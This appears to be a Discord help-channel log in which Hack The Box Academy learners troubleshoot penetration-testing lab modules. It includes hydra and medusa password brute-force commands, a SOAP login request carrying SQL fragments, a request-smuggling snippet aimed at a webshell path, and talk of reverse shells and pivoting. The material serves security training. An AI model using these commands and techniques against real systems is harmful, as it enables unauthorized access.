modules

[wooden silo]

so I have a txt file filled with various hashes, and I need hashcat to scan all the algos not just one type

[shell ore]

from what i know, i dont think you can specify multiple hashing algorithms from a text file

all hashes in the file must be from the same algorithm

[wooden silo]

Oh so the file that I got from HTB would be all one algo then?

[shell ore]

what module, what section?

[wooden silo]

Week 6, Cracking Passwords with Hashcat, Skills Assesment Hashcat last question

[shell ore]

yes, all password hashes in that file are from the same algorithm

[wooden silo]

ahh I see makes more sense now

[fickle belfry]

Hello, how i can answer on questions without pwnbox?

[shell ore]

use ur own VM and connect using the OVPN file

[wooden silo]

what would be the input needed for me to grep the most common password? after I crack all the passwords in a file

[fickle belfry]

Okay

[viral lotus]

going through the content I see Eternal blue (ms17-010) is still in the material how likely is it to ever be seen in an engagement? or is it largely used by trainers because it is so easy to replicate? just curiosity

[shell ore]

u can either use a python or bash script to give u the count of each word/password

it would be like 3-5 lines thats it

[onyx dust]

try to do the module that way. it won't work. why are you giving bad advice?

from the documentation

from the module

@autumn pilot tell me you haven't done the module w/o telling me you haven't done the module

[shell ore]

hes not giving bad advice, you need to understand that the shellcode ur replacing in the msfvenom payload is what will get executed, so technically it doesnt matter the port number u specify

[onyx dust]

because as i said, the way it's written it dont work

[shell ore]

DUDE, you are about to be surprised lol

[onyx dust]

lol am i

so are you.

i know why bishop fox dont use htb as a training platform anymore and makes their ctf in house now. the same ppl who author sliver

let's rap. why does the module have instructions which are not aligned with the official documentation?

[shell ore]

💀

[shell ore]

arent you noticing any difference in the two msfvenom commands?

[naive sage]

No wonder you leave the server now and then.

[onyx dust]

i only come here to bring issues to attention

but it seems like when i do i get these responses like it doesn't matter? we dont care?

[shell ore]

also, im not gonna wait lemme surprise u from now, you might want to take a look at the author's name 😉

[onyx dust]

is his name joe?

aka moloch

[shell ore]

try to joke, i will report idc 😄

[onyx dust]

report for?

[shell ore]

anyway, let's keep the topic and try to help u here

[onyx dust]

well i am doing that module to talk about with a guy named joe later on when i'm done

i come here to tell you about the documentation vs the module and u wanna act like this. idc

[naive sage]

Just a small port difference.

[shell ore]

bro it doesnt matter

[naive sage]

which one can change by themselves.

[shell ore]

read this

the C# format used in the module, will produce an asp code, which later u will replace, so whatever port u use there, it doesnt matter

[onyx dust]

..

not according to the official documentation

[shell ore]

💀

[onyx dust]

why when i try with that other port it doesn't work?

as soon as i change to the documentation? works

[shell ore]

scenario in the documentation is slightly different from the one in the module as i remember

[shell ore]

maybe u had another thing wrong back then who knows

¯_(ツ)_/¯

[onyx dust]

ya maybe idk

i thought i was being helpful but i guess i'm just too noob

[naive sage]

tell me you didn't see the module author without telling me you didn't see it

[shell ore]

no one said that, we are trying to help you, but ur being aggressive and saracastic, what can we do? 😄

[onyx dust]

good the module author can read it themselves

[naive sage]

He wrote it

doesn't need to read it again.

[onyx dust]

the module dont work out of the box

¯_(ツ)_/¯

maybe it was just broken the first time and changing the ports was useless but it seemed to fix the problem for me when i did it.

[naive sage]

That's where you learn.

it ain't THM buddy that gonna spoon feed you.

[onyx dust]

yeah, if only i had enough modules done in the academy and on there to make comparisons i could try harder and learn more better, right

[naive sage]

why so mad?, enjoy the learning buddy.

[onyx dust]

i am ty. the academy is so good 🙂

[naive sage]

🏆

for best humour. ragebait

[dim wolf]

report any issues with modules in #1234357888114364508

[onyx dust]

how long to fill the bubbles

[naive sage]

Keep going. you got this.

[worldly obsidian]

What wifi adapter do you recommend that support monitor mode and packet injection?

[dim wolf]

maybe better asked in #hardware-iot-ics

[atomic coyote]

I am working on "Firewall and IDS/IPS Evasion - Medium Lab" my though process is leading towards spoofing an IP on the same subnet but that has not worked. I've tried multiple other methods of bypassing the firewall filter and some out of the box techniques and nothing. Any thoughts or ideas would be appreciated. Thank you.

[dim wolf]

what i see suggested often for the Medium and Hard labs is to use Pwnbox

[atomic coyote]

ah

[rose sage]

Need help with an example for Information technology foundations - Linux fundamentals - regular expressions. No module just using the practice regex exercises. Exercise is search for all lines that contain a word that starts with permit. (From /etc/ssh/sshd_config file)

[atomic coyote]

Er Mah Gurd I've been banging my face against the keyboard this long and that's why it wasn't working?!!!! AAAHHH I even set a route on my Kali box and it didn't work but I think it was the wrong mask. Either way, thanks so much!

[tender nimbus]

Hey guys i have a little question, im doing the password craking module and know im at the pas the tikcet onllinux section, i want to know like the system of using mimikatz etc to have acces to certain shares is pretty easy, but what i want to know is when the importating of the ticket is ok and we navigate like the command dir \DC02.inblanefreight.htb\c$ how do we know that its DC02 or DC01 or idk LINUX01? Is it like the workstation name??

[shut vapor]

Its dns record? You've got a lot in there about mimikats and passwords, but you're asking about the host in a domain?

[loud dagger]

real stupid question: there's an intro to C# module, but what for? i've never seen anything about C# being useful in infosec

[cloud urchin]

custom tool creation

windows evasion too

[safe star]

C# is highly used for windows exploit development

[loud dagger]

ah ok yeah that makes sense

[rough comet]

Machine has being spawning for almost 10 min. Are we having issues?

this is the AD Attack module.

[cloud urchin]

ctrl+shift+r and try again

[rough comet]

Thanks, let me try ...

[rough comet]

I am on a Mac. That just put everything in "reading" mode.

But I did refresh the page anyway.

And still the same...

[cloud urchin]

try hard refreshing instead

[rough comet]

how

logoff?

from HTB?

seems it something with that section. I clicked next and the server spawned fine. I clicked back. Then the spawning thing is available. Clicked to start the victim but same , again...

[safe star]

Try starting another machine

[rough comet]

Yeah, just did

it worked on next section.

let me do that again

Seems to be working now, finally ...

[cloud urchin]

it was a browser issue

[rose sage]

anyone on that can help with previous question?

[cloud urchin]

chatgpt is great for stuff like that

[rose sage]

I tried it but gave me grep command and one for awk

[cloud urchin]

so tell it not to use those if you don't want it to

[rustic sage]

Hi

[rose sage]

Just wanted to know someone else command would look like. If they were asked the same question. Because there was no way I could have answered it without gpt

[cloud urchin]

what's wrong with awk/sed

[rose sage]

Nothing. That’s what the previous lesson was about and using regex to find the answer. So I used grep and awk with no success on my knowledge then used gpt to find the answer but I was confused how it came up with that answer.

[cloud urchin]

you can ask it to break the command down

it really good with that stuff

[rose sage]

Oh ok I did not know that. Let me try that out.

[rustic sage]

What operating systems do you people use? Or it’s just vm

[dim wolf]

VM running whatever. i have a Parrot and Windows 10 VM

[rustic sage]

I use parrot os but as a solid operator with windows dual boot, it’s hard to find guides or mentors on how to hack or do much since parrot os is new

[dim wolf]

it shouldn't really matter which distro you use because in the end, you're running Linux

the most popular distros people use for pentesting are Kali, Parrot, and Arch

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[dim wolf]

you can have a look at this article to get an idea of where to start

[rustic sage]

I tried Kali but I’m not big on like hacking others and stuff I been learning mostly on defense and finding ways how to use it efficiently, parrot os comes with a lot of applications but hard to find guides on how to use it on the other hand Kali Linux been around for years and has about anything you need to find

[solid wadi]

Hey guys, im doing the Pivoting, Tunneling and Port Forwarding skills assessment, i did everything A-OK to the moment till the last machine, here's my advances and finally the problem:

||I used the webshell given to obtain user-access to the first machine, opened a socks5 server using ssh, SSH'd straight to second box using creds found in the first machine.
In the second machine, while using SSH, I opened a second socks5 server and used RDP to connect to the third machine.
In the third machine i had to do a ping sweep to find the last machine, the Domain Controller, I'm supposed to use the same credentials that i found in the last machine I think, maybe not, but either way it doesn't matters since I cannot even connect to the DC, the firewall seems to be blocking the connection and I dunno why.
I would use another machine to see if it does allow me to connect from that machine IF there was another one, there isn't.
I used nmap to see if maybe the DC RDP service was listening on a different port and then the SMB ports came open, that gave me the idea of using that service to get the last flag and it worked flawlessly, now I'm wondering: Was I supposed to complete it that way or did I cheat somehow? I wanna complete it the right way since the idea here is to learn and apply what I've learnt so far.||

[rustic sage]

Getting the flag is getting the flag if you used code then it shouldn’t be considered cheating it’s unfair if you use gpt or something that generates the code for you

[dim wolf]

if you're using Linux for defense then maybe look into something like SANS SIFT Workstation or Remnux

[rustic sage]

Im just trying to learn how to better defenses and if something snags a trap can hunt it down you know, not trying to be a fbi or cia hacker just want to dedicate to stopping people from doing something

[dim wolf]

then you should probably look at HTB CDSA

https://academy.hackthebox.com/preview/certifications/htb-certified-defensive-security-analyst

[wooden silo]

How do I get Medusa to switch ports? This exercise I'm on requires me to gain ssh credentials by attacking FTP however I can't obtain the username and password because ftp on this exercise runs through a port other than 21

EThical Hacking 1 > Week 6 > Attacking Commmon Services > Attacking FTP

[shut quest]

It's windows, there are many ways to get a flag on it, I used rdp when I did it. If you were able to reach the last machine I'd say you successfully pivoted.

[solid wadi]

how did you manage to bypass the firewall?

thats what i cant figure out

[dim wolf]

this cert focuses on SOC analyst processes, including detection and threat hunting. you can choose whether to do the exam or not, but the content is good regardless

[solid python]

well first of all you're using RDP

[weary magnet]

Hey everyone! I’m new to HTB and I was wondering if I should learn Linux fundamentals before the introduction to networking module?

[solid python]

both are a good start, pick which one sounds cooler to you

[shut quest]

The port is open, you just connect to it like you did over smb ...?

[solid wadi]

i don't get it, the last windows machine and DC dont have SSH service running so thats the way i could get access to it

[solid wadi]

yup

[solid python]

Windows doesn't typically use SSH for remote management

that would be what WinRM is for

[solid wadi]

the DC blocks the connection as if it the port was closed

[solid python]

thats because the machine you're trying to reach it from is not part of the remote computers group

[solid wadi]

got no more machines to jump to

[solid python]

it can't RDP because its not in the list of computers that can 🙂

doesn't mean you can't talk to the DC over another port/protocol

[solid wadi]

alright, thx a lot

that clarified my question

[solid python]

[solid wadi]

stills im confused, how did you manage to RDP to it?

[shut quest]

Oups was looking at wrong flag, I used smb >.<'

[solid wadi]

aightt, so i guess its all ok

thanks yall, really thanks a lot

[solid python]

https://tenor.com/view/torgal-clive-rosfield-clive-pet-clive-torgal-gif-15820630843362730998

[solid wadi]

been banging my head over that for a while but i guess i did it then

[grand portal]

what is wrong with pwnbox

its been 2 days

there is already me procrastinating, now this.

[cloud urchin]

nothing? https://status.hackthebox.com/

[wooden silo]

.

[uneven cairn]

change the server

[shut perch]

did anyone else have problems with the sliver c2 module where generate stager hangs?

when i had check ps -aux, it shows it was generating with msfvenom and ruby so i had fixed the bundler and i'm able to generate with msfvenom now which would indicate it was the metasploit install, after fixing that its still hanging i also had checked google which led to an issue back in march that was fixed on this however, it appears that i'm still having that issue. wondering if anyone resolved this issue

or even encountered it

[safe star]

-n , its in the help page

[dawn falcon]

Hey

[shut perch]

well if anyone runs into the same trouble i had with that module you have to use binaries and generate it from the server part not the client

[vocal rover]

it's module of Nmap Scripting Engine and I'm somewhere stuck at following question.
Use NSE and its scripts to find the flag that one of the services contain and submit it as the answer.

I use NSE scripts on port 80 and 31337. Both are webserver running on host but didn't find any flag.

[shell ore]

look at the result of scans u got, and then examine them, you wont get the flag directly

delete it to avoid spoilers pls 😅

and yes thats not the correct flag for the NSE section, search somewhere else

[vocal rover]

Can you please help which port should I focused on?

[shell ore]

i will tell u in DM to not spoil others

[vocal rover]

ok. Will DM you.

[limpid hemlock]

Hey im atuck on windows priv esc vulnerable services section im at a point where i have downloaded a shell.ps1 script to get a reverse shell into yhe target windows system following steps mentioned in this section but i cant find the shell.ps1 script to run it now

[safe star]

wym cant find the script

[limpid hemlock]

Ah

There was a druva inSync exploit in the target windows vm that i modiefied to download shell.ps1 which was in my attacker pwnbox

I executed druva.ps1 and that shell.ps1 got downloaded into the target windows but i dont see it anywhere to execute it

[safe star]

its executed in memory

[limpid hemlock]

Also it says execute the poc script on target host seting up a netcat listener on our pwn box

After modifying powershell execution policy with a command set exevution policy bypass scope process

I try to run that command but gets an error

?

[wicked solstice]

I'm trying to do the Nessus Skills Assessment, but keep getting the same error even respawning the target multiple times. Am I missing something?

[safe star]

try unrestricted

[blissful chasm]

hello whare is the open button in fatty-client in [ Exploiting Web Vulnerabilities in Thick-Client Applications ]

[safe star]

what error?

[polar latch]

I could also use some help with understanding: nmap smtp-user-enum where in examples I follow that use nmap --script smtp-user-enum -M VRFY -U <path-to-list> I get an error with: Argument to -M must be at least 1!

[wicked solstice]

in the screenshot, it just won't allow me to connect and says theres nothing i can do about it lol

[polar latch]

as I am trying to complete the footprinting module without using Metasploit

[safe star]

@wicked solstice did you click advanced and continue?

[wicked solstice]

i did

let me try again i just closed it out

[wicked solstice]

oh lmao i had to scroll down some more to see continue

[blissful chasm]

hello whare is the open button in fatty-client in [ Exploiting Web Vulnerabilities in Thick-Client Applications ]

[solar grove]

ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.32' not found (required by ./chisel) ./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./chisel)

I get this error on Ubuntu pivot host I can't fix it I need help

[gray cloud]

Hey guys, I'm fairly stuck on the Web Service & API Attacks - Skills Assessment. I looked around here to check what other members have found out but I can't get the server to properly answer me, my PoC look like what's below but as stated in the exam "Without the proper payload it'll hang or throw an error" which prevent me from using burpsuite intruder or ffuf or SQLMap to try to get a payload to work, is there any other way ? I also tried to use the python script that's been given in the courses (client_soapaction_spoofing.py) and tweaking it a little bit but it's the same problem, could anyone guide me on that ?

||```HTTP
POST /wsdl HTTP/1.1
Host: 10.129.241.201:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
SOAPAction: Login
Content-Length: 512

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:tns="http://tempuri.org/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
soap:Body
<tns:LoginRequest xmlns="http://tempuri.org/">
<username>
SELECT++FROM+users
</username>
<password>
SELECT++FROM+users</password>
</tns:LoginRequest>
</soap:Body>
</soap:Envelope>

[blissful chasm]

hello whare is the open button in fatty-client in [ Exploiting Web Vulnerabilities in Thick-Client Applications ]

[jaunty depot]

#modules

Hi

Everyone

#modules hi everyone

[storm elk]

hello @jaunty depot

[misty current]

You can DM

[midnight oyster]

Hey

[unique ether]

I still dont understand nop sled

I'm gonna ...

[rustic sage]

Hello - I am somewhat new to htb. I'm wondering if there are any Academy modules that are more focused on SCADA/PLCs? I know it's discussed in some of the Networking modules, wondering if there is something where the bulk content is centered around Industrial testing/security?

[old oasis]

There is a new pro labs that is centered around ICS. I don't think there are any related modules in the academy yet.

[fading olive]

Hello, I am working on Attacking Common Services > Attacking FTP
I have answered the first question about the port on which ftp is running, and to answer the second I used hydra (I have just finished the password attacks module so I'm comfortable with it) to brute force the login and passwords using the provided lists. Here's the full command :

hydra -L ../resources/users.list -P ../resources/pws.list ftp://10.129.203.6:2121 -t 16 -o hydra_results.txt
And it found only one pair of credentials : j****n:3****h. Discord told me that the expected username was r****n even though I didn't find any matching password for that username.
Now I'm running hydra with only username r****n and yet no result. How can I find the associated password?

[quiet trout]

can you link us to the section? i think i might've done that one

@dvr ^

@fading olive ^ ^

[opal nexus]

where did you obtain the users.list and passwords.list?

[fading olive]

From the resources tab of the module Attacking Common Services

[fading olive]

https://academy.hackthebox.com/module/116/section/1165

[opal nexus]

FTP stands for file transfer protocol. who knows what files are in that server.

[quiet trout]

hey seems like i didnt do that one yet, sorry cant be more help

[fading olive]

I tried accessing the server, I ran nmap with the ftp-anon script but it didn't yield anything, and when I try to connect using the credentials I found it says "connection refused", whenever I run :

ftp -p ip_address port
It says connection refused

[quiet trout]

ftp user@ip ?

[fading olive]

It says Name or service not known

[quiet trout]

ftp://10.129.203.6:2121 this is your known ip?

[fading olive]

I've restarted my vpn and reset the machine several times but it keeps erroring

[opal nexus]

You might wanna take a look online about FTP anonymous login. You have used the wrong login format.

[quiet trout]

er... your known ftp server?

[elder matrix]

hi! im was reading the Types of Databases section of the SQL Injection fundamentals module and it says "NoSQL injections will be covered in a later module."

What module is it? Is it even included in the CPTS exam?

[fading olive]

I restarted since but it was yes

[fading olive]

Okay I've done it already but I may have missed something

yes please because I don't see what's wrong with my commands

[quiet trout]

quick sanity check, if someone wouldnt mind... when viewing HTTP traffic on a webserver from inside the network, we would never see its LAN address in the host header right? we /should/ see its public facing IP?

my assumption leads me to believe this though admittedly ive never done this kinda traffic analysis before to know whether thats the case...

and the module info has me questioning myself

[somber fiber]

What going on guys

😋

[somber fiber]

Yes, you're correct. When you're inside a network and monitoring HTTP traffic, the Host header typically reflects what the client is requesting. The Host header would show the public-facing IP address or domain name of the webserver.

However, for internal clients accessing the webserver directly within the LAN, it depends on how the request is made

If the internal client accesses the webserver using its LAN address, the Host header might show the internal IP (e.g., 192.168.x.x).

[quiet trout]

oh right.

[somber fiber]

If the internal client uses the server’s public IP or domain name, then the Host header will reflect the public-facing IP or domain name, as it would for external clients.

if you want to verify that

[scarlet topaz]

Hello, sorry to disturb you that's my first time here , and my first time asking help for hbt. i'm following the 'basic toolset' path, and actually am on the Login Brute Forcing module. But i'm blocked a question that i don't know at all how to resolve can you help me pls :(

[somber fiber]

Internal request: If a client within the same LAN accesses the webserver using the server's private (LAN) IP address, the Host header in the HTTP request will reflect that private IP (e.g., Host: x.x.x.x).
External request: If a client is accessing the webserver via its public-facing domain or IP, whether internally or externally, the Host header will reflect that (e.g., Host: example.com or Host: x.x.x.x).

[quiet trout]

the section describes attackers using 127.0.0.1 and/or admin as a header to get access not normally accessible... im failing to see what they're talking about.... any idea? dir listing/enum type stuff? failing to see how that could be ultimate useful in some big or small way.

[somber fiber]

sorry i have lost my god power i don't know from which module you are asking and whats the question is?

[quiet trout]

Its not a question, just a small tidbit of info that mentions a method of attack but not what its useful for.

Its located here:
https://academy.hackthebox.com/module/229/section/2464

[somber fiber]

not you bro

[somber fiber]

but let me check

[scarlet topaz]

the module is "login brute forcing" and the question is : What was the password for the ftpuser?

[quiet trout]

@somber fiber here's the screens

[somber fiber]

😭

[quiet trout]

ah, no biggie.

[somber fiber]

but let me check

[somber fiber]

there is way to bruteforce ftp login

try that it might help you

plead to the google god.

[scarlet topaz]

i'm trying

[somber fiber]

as its running in local env. admin must have set as DNS without any ".com,.htb" which will refer there.

[sly gust]

will i get cubes from completing t2 modules after purchasing student plan?

[storm elk]

Yes

[sly gust]

alr thanks

[scarlet topaz]

hydra and medusa don't work :(

[storm elk]

https://help.hackthebox.com/en/articles/5272936-introduction-to-htb-academy#h_6ac6f773e1

[storm elk]

Click the link above, it’ll show how much you get back per tier 😄

Makes you able to save for a higher tier module

[sly gust]

y thats what i wanted to know, i thought you could only do tier 2

[storm elk]

You can do up to tier 2 modules, without using cubes, if you want a tier3 module, you will have to use the cubes you earned by doing the other modules

[quiet trout]

I'm doing the traffic analysis section: https://academy.hackthebox.com/module/229/section/2464

and on HTTP 400s (smuggling) and im wondering if this were real world, and the server was vuln to smuggling, we should see the smuggle:

 (decoded):

GET /login.php?id=1 HTTP/1.1
Host: 192.168.10.5

GET /uploads/cmd2.php HTTP/1.1
Host: 127.0.0.1:8080

 HTTP/1.1

first as a 400, then a 200 for each request right? Im not seeing that in the wireshark traffic

I do see GETs for /login.php... but i do not see a log for the /uploads/... request, either as its own log entry or as a secondary request nested in the /login.php ... the info im reading on http req smuggling suggests that the request should in fact be listed as a 200 somewhere

[somber fiber]

Please drop the command you are running and what output/error you are getting.

[scarlet topaz]

[eu-academy-5]─[10.10.15.31]─[htb-ac-1201594@htb-i22f36prnr]─[~]
└──╼ [★]$ medusa -h 94.237.57.90 -u ftpuser -P /opt/useful/seclists/Passwords/2020-200_most_used_passwords.txt -M ftp -t 5
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks [e-mail]

NOTICE: ftp.mod: failed to connect, port 21 was not open on 94.237.57.90
NOTICE: ftp.mod: failed to connect, port 21 was not open on 94.237.57.90
NOTICE: ftp.mod: failed to connect, port 21 was not open on 94.237.57.90
NOTICE: ftp.mod: failed to connect, port 21 was not open on 94.237.57.90
NOTICE: ftp.mod: failed to connect, port 21 was not open on 94.237.57.90

[somber fiber]

are you using pwnbox or your own vm?

[scarlet topaz]

pwnbox

i tried with my kali but same thing

and the question is : What was the password for the ftpuser? i already look 10 times the explciation on the page no password ...

[autumn pilot]

Perhaps the service is not running on the default port

[somber fiber]

have you ran the nmap

?

[scarlet topaz]

yeah here is it

ORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
25/tcp filtered smtp
111/tcp open rpcbind 2-4 (RPC #100000)
50006/tcp open http nginx 1.26.1

[somber fiber]

there is no ftp

[scarlet topaz]

there is no ftp

yeah so why this question :')

[somber fiber]

same pinch

[somber fiber]

have you tried cracking the ssh

or with rpcbind

[autumn pilot]

Use the provided port in the target when you spawned it

[scarlet topaz]

ssh yes but not rpcbind

[somber fiber]

got nothing in ssh?

[scarlet topaz]

medusa -h 94.237.57.90 -u sshuser -P /opt/useful/seclists/Passwords/2020-200_most_used_passwords.txt -M ssh -t 5
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks [e-mail]

ERROR: No supported authentication methods located.
ACCOUNT CHECK: [ssh] Host: 94.237.57.90 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: picture1 (1 of 197 complete)
ERROR: No supported authentication methods located.
ACCOUNT CHECK: [ssh] Host: 94.237.57.90 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123456 (2 of 197 complete)
ERROR: No supported authentication methods located.
ACCOUNT CHECK: [ssh] Host: 94.237.57.90 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345678 (3 of 197 complete)
ERROR: No supported authentication methods located.
ACCOUNT CHECK: [ssh] Host: 94.237.57.90 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123456789 (4 of 197 complete)
ERROR: No supported authentication methods located.
ACCOUNT CHECK: [ssh] Host: 94.237.57.90 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: password (5 of 197 complete)

i dont think io have to do that BUTT the next question is "After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?"

[scarlet topaz]

to crach the ftp ?

[quiet trout]

maybe the ftpuser exists but no ftp service is running on the box: ie just crack the pass?

[scarlet topaz]

i can't do it without write a user

[somber fiber]

i got it i guess

this module must be related to web ftp

[scarlet topaz]

so in the nmap i have the port 50006 http, but i have only a page with : Welcome to inlanefreight.htb

[void hemlock]

There is a typo in one of the recent modules. The switch to specific the application is -a and not -n

[somber fiber]

try dirsearch

[somber fiber]

?

[quiet trout]

and vhost enum (dunno if dirsearch does that or not)

boxes often use vhosts

[somber fiber]

right

[somber fiber]

insted of url try this ftp://IP

in browse

[scarlet topaz]

literaly like that : ftp://94.237.57.90 ?

[somber fiber]

yes

[scarlet topaz]

does'n work, taht gives me a google page

[acoustic owl]

This is a public IP address (Docker container). A port has been defined in the target. Only this one port is relevant for you

[somber fiber]

add port

[onyx dust]

i got the binary fuzzing module to talk about with my fuzzing friends

if anyone wanna do it with me later hmu

[scarlet topaz]

wich one ? 50006

[somber fiber]

https://tenor.com/view/foxy-fnaf-five-nights-at-freddys-freddy-fazbear-reddit-gold-gif-19334463

[somber fiber]

first try then ask

and yes

[acoustic owl]

The port specified under Target.
IP:PORT

[somber fiber]

bro shooting gun from our shoulders.

[slate halo]

Im doing the AEN and I run the proxychains GetUsersSPNS.py but after i run it says connection time out. Some help please.

[scarlet topaz]

I will try

[wary plover]

Have you tried syncing your clock with the dc?

[acoustic owl]

The AEN module is structured like a walkthrough. Have a look at the module to see how to proceed.

[slate halo]

i will try it

[slate halo]

I know but there is nothing to help with this issue

[slate halo]

Now i cannot set up the correct time the clock scew is too great

[shell ore]

then sync ur clock w the dc

use ntpdate

[slate halo]

im getting no eligible servers

[shell ore]

u sure thats the DC ur syncing w ?

[slate halo]

the dc is x.x.x.3?

[shell ore]

yes

[slate halo]

im trying ntpdate IP but no eligible servers

[shell ore]

weird, try resetting, i dont remember any problems with the DC in that module

[slate halo]

could be connected with my proxychains conf?

[shell ore]

ur reaching the DC via proxychains anyway right?

so when u use ntpdate, im assuming ur adding proxychains before the command, right?

[slate halo]

yup

[shell ore]

u are, right?

[slate halo]

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
ntpdig: no eligible servers```

[slate halo]

yes

[shell ore]

weird tbh, tried restting?

[slate halo]

didnt want to but gonna reset

[acoustic owl]

Proxychains4 does not support UDP https://www.kali.org/tools/proxychains-ng/

[fathom iron]

can someone give me code for a microsoft fishing website

[shell ore]

huh? 🙂

[fathom iron]

phishing

[shell ore]

u want a phishing website? 🙂

[fathom iron]

its for school

[shell ore]

i doubt we can help with that here :/

[fathom iron]

why

[shell ore]

cuz no one knows what you will do with that website, also le'ts stop talking in this channel and keep it related to Academy modules

[fathom iron]

what channel would i talk in

[shell ore]

read #welcome, and come general 😄

[fathom iron]

i dont have permission to use it

[acoustic owl]

You can only read there to see how you can verify your user

[slate halo]

I tried using tsocks but didnt work

[minor ocean]

is there any way to gain the cubes for free?

[foggy monolith]

Until all module content is updated, I strongly recommend adding alias crackmapexec='nxc' to your .bashrc file. Will make the process of going through the modules that much easier.

[safe star]

Just type nxc lol

[limber river]

stop copy paste , write the command yourself

[shut vapor]

y tho? i do everything through pwnbox on my phone. (/s)

more hollywood that way

[elder matrix]

in the sql injection fundamentals module.. in the SQL Operators section....i did this module maybe 2 years ago and i cannot get the right answer. there is only XXX rows in the titles table, and the answer i inputed long ago has 6 digits. can someone confirm that the answer has either 3 or 6 digits? in private if its too much spoilers

[shut vapor]

Yes, it is 3 digits. You have the right answer which you may want to consider censoring or whacking.

[elder matrix]

here's why im asking:

wrong answer:

i thought i was crazy.

[shut vapor]

Yeah that happens when they update a module, all your answers get really messed up.

[shell ore]

delete thats please, it have an answer 😄

[elder matrix]

a wrong answer

[shell ore]

oh

wait lemme read the whole thing

[elder matrix]

at this point it can act as a troll 😆

[shut quest]

It does make it difficult to go back through and figure out what content you need to go through again.

[shell ore]

they updated the module i assume

[elder matrix]

im glad its only the sql injection module ive mastered that already for my oscp exam 😆

still going to go through the module though

[wooden silo]

how do we restart these VMs?

[elder matrix]

theres a button right next the ip address

[pliant yacht]

Why cant i talk in general 😦

[wooden silo]

I don't have that

I can only spawn or terminate

[pliant yacht]

Then it doesnt require a box

[shell ore]

read #welcome

[elder matrix]

if you click terminate, and then click on spawn, you will effectively restart the VM

[wooden silo]

alright

[elder matrix]

it will generate another IP too

[void hemlock]

MSSQL, Exchange, and SCCM Attacks
Section: Skills Assessment
What is the format for question 2? is it Domain\Account?

[proper oar]

first.last

[void hemlock]

can I DM really quickly?

[proper oar]

sure

[ebon minnow]

this is saying the correct answers wrong

nvm

[shell ore]

read the question

[coral crest]

guys, I am stuck at forever spawning a target. I already logged off and log in again, but no changes.

[shell ore]

what module?

[coral crest]

AD Enum / LOTL

[shell ore]

lemme try myself

it worked,

i suggest trying to change the VPN server ur using

[coral crest]

you're right, thank you very much

[shell ore]

hope it worked

[bitter talon]

#modules I am working on module 19, section 119, Network Enumeration With Nmap.
Firewall and IDS/IPS Evasion - Hard Lab.

The question is this: 'Now our client wants to know if it is possible to find out the version of the running services. Identify the version of the service our client was talking about and submit the flag as the answer.'
Has anyone done this already? I'm stuck here and can't move forward. I've tried everything I know. Could you kindly point me in the right direction? 😟

[hallow oak]

sorry, not sure if this is the right channel as i don't need help with a module but just had a question with something i read on one. "To be able to track how our sent packets are handled, we deactivate the ICMP echo requests (-Pn), DNS resolution (-n), and ARP ping scan (--disable-arp-ping) again." why do i need to disable icmp, dns and arp to track sent packets?

[coral crest]

yep, took a few minutes but finally spawned, cheers

[wooden silo]

Week6 Ethical Hacking 1 > Attacking Common Services > Attacking SMB

I am on the last question that requires you to SSH into the target but I continually run into this issue where I do not get a chance to enter the password and am instead kicked out because I have a "publickey"

This is the only module I run into this issue on, every other module let's me enter a password when I clarify a user

[sacred jacinth]

let's say if our target host was only responding to queries made from certain protocols which protocol would you think that be?

[rustic sage]

is HTB academy a good way in getting into cybersecurity & pentesting?

[sacred jacinth]

it depends on you. If your aim is to actually bang your head against a wall saying to yourself "why did I not think of this earlier?" then definitely.

but yes it's a good platform

[wooden silo]

.\

[shut vapor]

It's perhaps a good way of learning and practicing the technical side of it security which can help you get into it... probably a lot of other factors weigh more heavily on whether or not you reach the end result that you want.

It'll definitely acclimate you to the frustrations as KahnMarshal puts it so eloquently.... or swiftly usher you toward a different carrier path.

[sacred jacinth]

hey you can't blame me I just completed pass attacks module

I'm preparing him for what's waiting for him

[rustic sage]

I want to see if once I learn the basics more or less it will be as I expect it to be, possibly make a future out of it haha

[shut vapor]

We've all been there. Hours-wasted-on-a-typo sort of day lol

[shut vapor]

Sounds like you're in the right place then.

[rustic sage]

I am used to the frustations, how much I'd will to quit I'll still stick to it one way or another

[sacred jacinth]

start with the information security path

[naive sage]

Mind if share a screenshot?

[coral crest]

you have no idea how much I hated the pivoting module hehe

[naive sage]

You don't need to give it a port btw.

[wooden silo]

that's just an old habit

[naive sage]

Oh

[naive sage]

@shell ore you done this module?

[shell ore]

what module?

oh yeah, 1 second

lemme see the problem

[wooden silo]

screenshot?

[bitter talon]

@sacred jacinthThe most likely protocol for the service in question is HTTP. I found the version, but this doesn't help me find the flag

[shell ore]

just saw ur message

ok so u access the share right?

since ur stuck on the last question, i assume u got his password right?

[wooden silo]

yes, obtained everything, it's just the ssh thing is stopping me

[shell ore]

